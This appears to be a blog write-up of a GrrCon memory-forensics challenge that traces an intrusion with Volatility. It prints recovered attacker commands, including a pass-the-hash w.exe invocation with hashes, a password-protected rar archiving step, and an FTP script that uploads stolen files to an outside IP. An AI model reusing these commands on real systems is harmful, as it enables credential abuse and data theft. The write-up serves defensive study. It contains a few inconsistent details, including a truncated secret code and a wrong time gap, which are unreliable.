In summary, I was searching the output of Volatility’s strings plugin for references to common Microsoft files and PDF files. This led me to a file of swing-mechanics.doc[1].exe, which an extension of .doc.exe is immediately suspicious. We also see that this file is 1) stored within IE’s browsing cache and 2) there is a prefetch (.pf) file associated with the executable, so we know that it ran. This led us to the following answers:
Question 1 - How was the attack delivered?
– HTTP / IE
Question 3 - What was that name of the file that dropped the backdoor?
– swing-mechanics.doc[1].exe
Even though I was not looking for the infection point, I happened to stumble across it while searching for documents and along the way answered questions 1 and 3. Also, while looking around the strings produced by this search and similar ones, I found many other interesting entries that will be used to solve other questions.
Answering Questions 11 and 13
These questions asked how did the attacker escalate privileges and how was lateral movement performed. To find commands that executed, we normally first use both the cmdscan and consoles plugins:
# python vol.py -f memdump.img cmdscan
Volatile Systems Volatility Framework 2.2
**************************************************
CommandProcess: csrss.exe Pid: 596
CommandHistory: 0x4f7e00 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 13 LastAdded: 12 LastDisplayed: 12
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x4b8
Cmd #0 @ 0x4fcbe0: z:
Cmd #1 @ 0x4f2370: net use z: \\DC01\response
Cmd #2 @ 0x4fcaa0: z:
Cmd #3 @ 0x4fcbd0: dir
Cmd #4 @ 0x4fc028: mdd.exe -o memdump.bin
Cmd #5 @ 0x4f1eb8: copy mdd.exe c:
Cmd #6 @ 0x4fcb60: c:
Cmd #7 @ 0x4fcb30: cd\
Cmd #8 @ 0x4f4e80: mdd.exe -o memdump.img
Cmd #9 @ 0x4fcb00: dir
Cmd #10 @ 0x4fcb70: copy z:\mdd.exe .
Cmd #11 @ 0x4fbf00: dir
Cmd #12 @ 0x4fcab0: mdd.exe -o memdump.img
Cmd #13 @ 0x4fc208: Otp 66.32.119.38
Cmd #14 @ 0x4fcb70: copy z:\mdd.exe .
Cmd #15 @ 0x4fc458: ??
**************************************************
CommandProcess: csrss.exe Pid: 596
CommandHistory: 0x4fc538 Application: mdd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x56c
Cmd #0 @ 0x4fca88: O?Ok
Cmd #1 @ 0x4fcaa0: z:
Cmd #2 @ 0x4fcb10: Out 1.txt
Cmd #3 @ 0x4fcb00: dir
Cmd #4 @ 0x4fcb40: Out 2.txt
Cmd #5 @ 0x4fcb30: cd\
# python vol.py -f memdump.img consoles
**************************************************
Screen 0x4f2ab0 X:80 Y:300
Dump:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\administrator>z:
The system cannot find the drive specified.
C:\Documents and Settings\administrator>net use z: \\DC01\response
The command completed successfully.
C:\Documents and Settings\administrator>z:
[snip]
C:\>mdd.exe -o memdump.img
-> mdd
-> ManTech Physical Memory Dump Utility
Copyright (C) 2008 ManTech Security & Mission Assurance
-> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'
This is free software, and you are welcome to redistribute it
under certain conditions; use option `-c' for details.
-> Dumping 511.48 MB of physical memory to file 'memdump.img'.
As we can see in this output, we certainly recovered commands and their output, but they were all related to the collection process and not the attacker’s actions.
Since the previous plugins did not produce relevant output, we then searched memory for references to cmd.exe:
# grep "cmd.exe \-" grr/raw-strings
cmd.exe - Applying shim AddProcessParametersFlags(20000) from AcGenral.DLL
\WINDOWS\system32\cmd.exe - mdd.exe -o memdump.bin
\WINDOWS\system32\cmd.exe - copy mdd.exe c:
2\cmd.exe - net use z: \\DC01\response
O\WINDOWS\system32\cmd.exe - copy z:\mdd.exe .
\WINDOWS\system32\cmd.exe - dir
\WINDOWS\system32\cmd.exe - w.exe -s Administrator:COMPANY-A:a15153d335c2751f17306d272a9441bb:835fd21aac32076df24dc75e0c77144f -c cmd.exe
\WINDOWS\system32\cmd.exe - mdd.exe -o memdump.img
\WINDOWS\system32\cmd.exe - mdd.exe -o memdump.img
\WINDOWS\system32\cmd.exe - net use x: \\DC01\Acquisitions /PERSISTENCE:no
\WINDOWS\system32\cmd.exe - net use x: \\DC01\Acquisitions
O\WINDOWS\system32\cmd.exe - net use z: \\DC01\response
\WINDOWS\system32\cmd.exe - ftp 66.32.119.38
This showed a few interesting lines. First we see an invocation to ftp.exe, which will be relevant in another question. Next, we see the command line arguments to w.exe, which are obviously related to a pass-the-hash type attack, and MHL immediately identified it as being Windows credential editor. We then wanted to try and obtain the hashes from the registry hives in-memory to compare those given in the w.exe invocation, but unfortunately the needed information to perform this process as not available (relevant registry keys were paged out).
We also see calls to “net use”, which allows the attacker to perform a wide range of administrate tasks from the command line. By searching for “net use” in memory, we see references to a machine named “RES-LAB01” and strings from SysInternals Psexec tool around the RES-LAB memory regions. Although we could not recover direct invocations of PSExec, we strongly believe it was used for lateral movement to RES-LAB01 and possibly RES-LAB02 as well.
11. How did the attacker escalate privileges?
- WCE to domain admin, pass the hash
13. How was lateral movement performed?
- Through combinations of “net use” and PSExec
Answering Questions 9 and 10
After seeing the invocation to w.exe, I then searched the strings output for references to the binary. This uncovered references to a directory named \WINDOWS\system32\systems\, which is not a standard Windows directory. Next, I ran filescan and filtered for the directory:
# grep systems grr/filescan
0x02061440 1 0 -W---- \Device\HarddiskVolume1\WINDOWS\system32\systems\f.txt
0x02061f28 1 0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\systems\sysmon.exe
0x0215d528 1 0 R--r-- \Device\HarddiskVolume1??INDOWS\system32\systems\g.exe
0x021be7a0 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\r.exe
0x02220380 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\g.exe
0x022247e0 1 0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\systems\p.exe
0x02229978 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\p.exe
0x022e4ab8 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\w.exe
0x19e12528 1 0 R--r-- \Device\HarddiskVolume1??INDOWS\system32\systems\g.exe
0x1a435380 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\g.exe
0x1a5d37a0 1 0 R--r-d \Device\HarddiskVolume1\WINDOWS\system32\systems\r.exe
0x1a636440 1 0 -W---- \Device\HarddiskVolume1\WINDOWS\system32\systems\f.txt
0x1a636f28 1 0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\systems\sysmon.exe
This showed a large number of executable tools and a file named f.txt. I then searched for prefetch files related to these executables:
# grep "\.pf" grr/strings-vol | grep ' [A-Z]\.EXE'
0305c89a [kernel c15c289a] P.EXE-04500029.pf.p
0305ca62 [kernel c15c2a62] R.EXE-19834F9B.pf-0
035498e2 [kernel c15c08e2] G.EXE-24E91AA8.pfDA
0354db2a [kernel c15c1b2a] W.EXE-0A1E603F.pf5B
074bf2fa [kernel e15c22fa] G.EXE-24E91AA8.pfG.EXE-24E91AA8.PF
0d6b4562 [kernel e0ac4562] R.EXE-19834F9B.pf
109842fa [kernel e106e2fa] P.EXE-04500029.pfP.EXE-04500029.PF
13d91ada [kernel e190aada] W.EXE-0A1E603F.pfW.EXE-0A1E603F.PF
18229d62 [kernel e0ac0d62] W.EXE-0A1E603F.pf
19148162 [kernel e0ac1162] G.EXE-24E91AA8.pf
1b2dd162 [kernel e0ac2162] P.EXE-04500029.pf
Which showed that many of the dropped tools had been executed. At this point we could easily answer questions 9 and 10:
9. What additional tools do you believe were placed on the machine?
– All the executable shown in the filescan output. Some can be identified (i.e winrar, psexec, etc), but others are still unknown (because the file names are obscured and no part of the executable remained in memory at the time).
10. What directory was created to place the newly dropped tools?
- C:\WINDOWS\system32\systems\
Answering Question 12
This question asked what privilege level was obtained by the attacker. MHL quickly answered this one and I will simply copy/paste his messages:
MHL: well explorer and all other user applications already have Admin/Everyone SIDs, so the logged on user account was probably already an administrator before the infection occurred
$ python vol.py -f memdump.img getsids -p 1096
Volatile Systems Volatility Framework 2.1_rc3
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-500 (Administrator)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-513 (Domain Users)
explorer.exe (1096): S-1-1-0 (Everyone)
explorer.exe (1096): S-1-5-32-545 (Users)
explorer.exe (1096): S-1-5-32-544 (Administrators)
explorer.exe (1096): S-1-5-4 (Interactive)
explorer.exe (1096): S-1-5-11 (Authenticated Users)
explorer.exe (1096): S-1-5-5-0-206541 (Logon Session)
explorer.exe (1096): S-1-2-0 (Local (Users with the ability to log in locally))
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-519 (Enterprise Admins)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-1115
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-518 (Schema Admins)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-512 (Domain Admins)
explorer.exe (1096): S-1-5-21-2682149276-1333600406-3352121115-520 (Group Policy Creator Owners)
MHL: we can also get more granular and check which privileges specifically were enabled by the malware
MHL: The following privileges are enabled, but they were not enabled in explorer.exe by default (so they were activated by code running in the context of explorer sometime after the process started).
$ python vol.py -f memdump.img privs -p 1096 -s
Volatile Systems Volatility Framework 2.1_rc3
Process Pid Privilege Attributes
explorer.exe 1096 SeUndockPrivilege Enabled
explorer.exe 1096 SeDebugPrivilege Enabled
explorer.exe 1096 SeLoadDriverPrivilege Enabled
So it appears since the malware had admin access, it enabled the debug and load driver privileges for the parent process (explorer.exe). As far as we know, Poison Ivy did not load a kernel driver, so it could have been one of the other tools or maybe just preparation for loading a driver in the future.
MHL: The other artifact is “PoisonIvy has ADMIN privileges!” from poisonivyconfig output.
12. What level of privileges did the attacker obtain?
- Administrator with debug and load driver priv
Answering Questions 15, 16, and 19
We also were able to answer these questions from the strings output. While looking for invocations related to “net use” for the previous questions, I found this output:
\WINDOWS\system32\cmd.exe - net use x: \\DC01\Acquisitions
O x:
mkdir 1
copy x:\* 1
O.exe a -hpqwerty 1 1.txt
This shows that the X: drive was mounted as remote share and then all of its files were copied into the directory ‘1’. This directory was then compressed with winrar with a password of “qwerty” and a filename of 1.txt.
Note: We knew that O.exe is rar.exe based on the “-hp” parameter. This part required some help from Aaron (@4tphi) ;)
To figure out how the files were exfiltrated, we revisited the ftp invocation we saw when grep’ing for cmd.exe. This quickly showed us the following output:
# grep -A 30 "open 6" strings-vol
15938918 [kernel c75bf918] open 66.32.119.38
1593892b [kernel c75bf92b] jack
15938931 [kernel c75bf931] 2awes0me
1593893b [kernel c75bf93b] lcd c \WINDOWS\System32\systems
1593895c [kernel c75bf95c] cd/home/jack
1593896c [kernel c75bf96c] binary
15938974 [kernel c75bf974] mput "*.txt"
15938982 [kernel c75bf982] disconnect
In this output, we can see an ftp connection to 66.32.119.38, a login with a username of “jack”, and a password of “2awes0me”. We then see the “lcd” command to the systems directory, which makes that the current local working directory of the ftp client, and a “cd” command to /home/jack, which makes it the working directory on the remote server. We then see the client put into binary mode and a multiple file transfer of all *.txt files. Since we know that our exfiltrated file was written into the systems directory as 1.txt, we know that it will be exfiltrated during this command sequence.
We now needed to figure out what files were in this archive at the time of exfiltration. To answer this question, we used to the mft-parser plugin, which was not in Volatility at the time of the challenge, but was introduced last week at OMFW 2012. This plugin parses the MFT out of memory and reports all MAC times (SN, FI, etc) as well as the full path of the file. For MFT-resident files, it also reports the file contents. Please see Jamie's (@gleeda) presentation called Reconstructing the MBR and MFT from Memory.
After running this plugin, we simply had to grep for files in the systems\1 directory that was archived and exfiltrated:
# grep systems\\\\1 grr/mft-out
Full Path: WINDOWS\system32\systems\1\CONFID~3.PDF
Full Path: WINDOWS\system32\systems\1\confidential3.pdf
Full Path: WINDOWS\system32\systems\1\CONFID~4.PDF
Full Path: WINDOWS\system32\systems\1\confidential4.pdf
Full Path: WINDOWS\system32\systems\1\CO20EF~1.PDF
Full Path: WINDOWS\system32\systems\1\confidential5.pdf
Full Path: WINDOWS\system32\systems\1
Full Path: WINDOWS\system32\systems\1\CONFID~4.PDF
Full Path: WINDOWS\system32\systems\1\confidential4.pdf
In this output, we can see a number of PDF files that would have been part of the compressed and exfiltrated archive. Also, while manually going through the mftparser output related to the systems directory, I saw that f.txt was a resident file and was actually a script of the ftp commands we had previously saw in strings (we used the MFT plugin well after we had gone through all the strings of interest):
MFT entry found at offset 0x15938800
Type: In Use & File
Record Number: 12030
Number of fixup array vals 3
Link count: 1
Sequence Value: 0x3
Fixup Array: 0x9 0x0 0x0
$STANDARD_INFO
Creation Modified MFT Altered Access Date Type
-------------------- -------------------- -------------------- -------------------- ----
2012-04-28 02:01:43 2012-04-28 02:01:43 2012-04-28 02:01:43 2012-04-28 02:01:43 Archive
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 02:01:43 2012-04-28 02:01:43 2012-04-28 02:01:43 2012-04-28 02:01:43 f.txt
Full Path: WINDOWS\system32\systems\f.txt
$DATA
0x00000000: 7b 00 00 00 18 00 00 00 6f 70 65 6e 20 36 36 2e {.......open.66.
0x00000010: 33 32 2e 31 31 39 2e 33 38 0d 0a 6a 61 63 6b 0d 32.119.38..jack.
0x00000020: 0a 32 61 77 65 73 30 6d 65 0d 0a 6c 63 64 20 63 .2awes0me..lcd.c
0x00000030: 3a 5c 57 49 4e 44 4f 57 53 5c 53 79 73 74 65 6d :\WINDOWS\System
0x00000040: 33 32 5c 73 79 73 74 65 6d 73 0d 0a 63 64 20 20 32\systems..cd..
0x00000050: 2f 68 6f 6d 65 2f 6a 61 63 6b 0d 0a 62 69 6e 61 /home/jack..bina
0x00000060: 72 79 0d 0a 6d 70 75 74 20 22 2a 2e 74 78 74 22 ry..mput."*.txt"
0x00000070: 0d 0a 64 69 73 63 6f 6e 6e 65 63 74 0d 0a 62 79 ..disconnect..by
0x00000080: 65 0d 0a 00 00 00 00 00 e.......
At this point we wanted to recover the file that was exfiltrated to recover the secret code (question 19). As it turns out, this was the only question that we had to use other evidence (the pcap file) besides memory to answer. Our first approach was to memdump and then carve for RARs with photrec. We knew this had no real chance of working, but would have made our lives easier. Using this approach, photorec found the first 1/4th of the file in-tact but the rest was overwritten.
After this, we then used Aaron’s new cached file recovery plugin (see Cache Rules Everything Around Me(mory)). This plugin was also introduced at OMFW so GrrCon attendees would not have had a chance to use it during the conference. Briefly, this plugin pulls files from the Windows file cache, similar to how Volatlity’s Linux support pulls files from the page cache with linux_tmpfs and linux_find_file. Our hope was to use this plugin to recover the RAR file. Unfortunately, this did not work as the file was not memory resident, but it did recover many complete registry hives, which we used to answer a later question.
At this point, it was pretty hopeless to recover the RAR file from memory, so we investigated the pcap file with Wireshark. This led to quickly finding the FTP transfer and saving the rar file. We knew that the password was “qwerty” from the recovered rar invocation and opened the rar.
To our surprise, besides the PDF files, which were all 20MB and full of 0s, there was also an .odt file. There was only one reference to this odt file in memory and it does not appear in the mftparser output, filescan, or any of the other usual places. This made us think that the odt was in the rar file before it was transferred to the compromised machine and the PDF files added. If you look at the rar.exe invocation, it is done with the “a” flag, which means to append to an existing file. We believe that the odt file was kept off the machine where the memory image came from in order to avoid directly recovering it, since it contained the secret code.
To recover the secret code, I simply unzipped the file and then did strings on the relevant document section (doc/context.xml), which showed this:
If you have found this document, you will need the secret code 76bca1417cb12d09e74d3bd4fe3388e9.
Note: I could have opened the file in Word or Open Office and read it, but I strongly dislike GUIs while doing forensics.
Question 15 - What documents were exfiltrated?
- All the pdfs listed plus the “Tokyo Tigers Expansion.odt” file
Question 16 - How and where were the documents exfiltrated?
- ftp - 66.32.119.38
Question 19 - What is the secret code inside the exfiltrated documents?
- 76bca1417cb12d09e74d3bd4fe3388e
Answering Question 17
The next question asked what steps were taken by the attacker to maintain network access. For this we needed to finally analyze the Run key that MHL found early on. We analyzed the hives recovered by Aaron’s plugin. We then processed these hives with Registry Decoder and ran the Systems Run plugin. This showed that the svchosts.exe file was present within the Run key and would execute when the system was booted.
Question 17 – What steps were used to main network access?
- Run key with svchosts
Answering Questions 2 and 14
All of these questions related to time information, and were basically begging you to use the provided timeline and/or the pcap file, but when you have Volatility and gleeda’s mftparser plugin, then who needs those things ;)
Question 2 asked for when the attack first delivered. We solved this by looking at the creation time for the swing.doc.exe prefetch file and also the svchosts.exe file:
***************************************************************************
MFT entry found at offset 0x14c42000
Type: In Use & File
Record Number: 12024
Number of fixup array vals 3
Link count: 2
Sequence Value: 0x4
Fixup Array: 0x3 0x0 0x0
$STANDARD_INFO
Creation Modified MFT Altered Access Date Type
-------------------- -------------------- -------------------- -------------------- ----
2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 Archive & Content not indexed
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 SWING-~1.PF
Full Path: WINDOWS\Prefetch\SWING-~1.PF
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 SWING-MECHANICS.DOC[1].EXE-013CEA10.pf
Full Path: WINDOWS\Prefetch\SWING-MECHANICS.DOC[1].EXE-013CEA10.pf
$DATA
non-resident
***************************************************************************
MFT entry found at offset 0x14c42800
Type: In Use & File
Record Number: 12026
Number of fixup array vals 3
Link count: 1
Sequence Value: 0x3
Fixup Array: 0x3 0x0 0x0
$STANDARD_INFO
Creation Modified MFT Altered Access Date Type
-------------------- -------------------- -------------------- -------------------- ----
2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 02:20:56 2012-04-28 02:20:56 Archive
$FILE_NAME
Creation Modified MFT Altered Access Date Name/Path
-------------------- -------------------- -------------------- -------------------- ---------
2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 2012-04-28 01:59:22 svchosts.exe
Full Path: WINDOWS\system32\svchosts.exe
$DATA
non-resident
Question 14 asked for what was the first sign of lateral movement. We solved this by looking at the tools we know were used for lateral movement (w.exe, net use). This showed the following:
- w.exe had a create time of 2012-04-28 02:02:38
- the prefetch file for net.exe (it comes with Windows, so we want to know when it was executed) had a create time of - 2012-04-28 01:59:56
- net.exe was run 39 minutes before w.exe, so we marked it as the first sign of lateral movement.
Question 2. What time was the attack delivered?
- 2012-04-28 01:59:22
Question 14. What was the first sign of lateral movement?
- The use of net.exe at 2012-04-28 01:59:56
Summary & Thoughts
As if it wasn’t apparent, memory analysis during forensics and IR is very powerful. We were able to answer 16 of the 20 questions using only the memory capture and standard Volatility plugins. We then answered two questions using plugins that are now a part of Volatility, but were not publicly available at the time of the challenge. We had to rely on the pcap file to answer the secret code question. We could not answer question 18 (how long did the attacker have network access) using only in-memory data, so we skipped it. In other words, we didn’t see anything that would explicitly indicate the attacker was detected or kicked out. Its important to note that some key evidence would not have been revealed by standard Volatility plugins that carve structured data. In those cases, we had to fall back on good old instinct, strings, grep, and sharp eyes.
One thing we wished we could have recovered, but did not was Binge’s (the user who downloaded the original exploit) NTUSER.dat file. We see references to this file in the mftparser output, but it was not recoverable. His registry hive would have had fine-grained details on IE activity, program execution (userassisst), and files on the computer (shellbags, MRU lists, etc).
Overall this challenge was very interesting and a fun way to spend a Saturday afternoon. We hope that Jack continues to make forensics/IR challenges as it was very well put together, and we think people could gain a lot of experience and insight by investigating them.
We also would like to thank the GrrCon organizers for allowing a network forensics challenge as we have seen other conferences shy away from forensics in order to focus solely on offensive capabilities and techniques - all while a plethora of organizations are being compromised daily and volumes of sensitive information stolen.
Subscribe to:
Posts (Atom)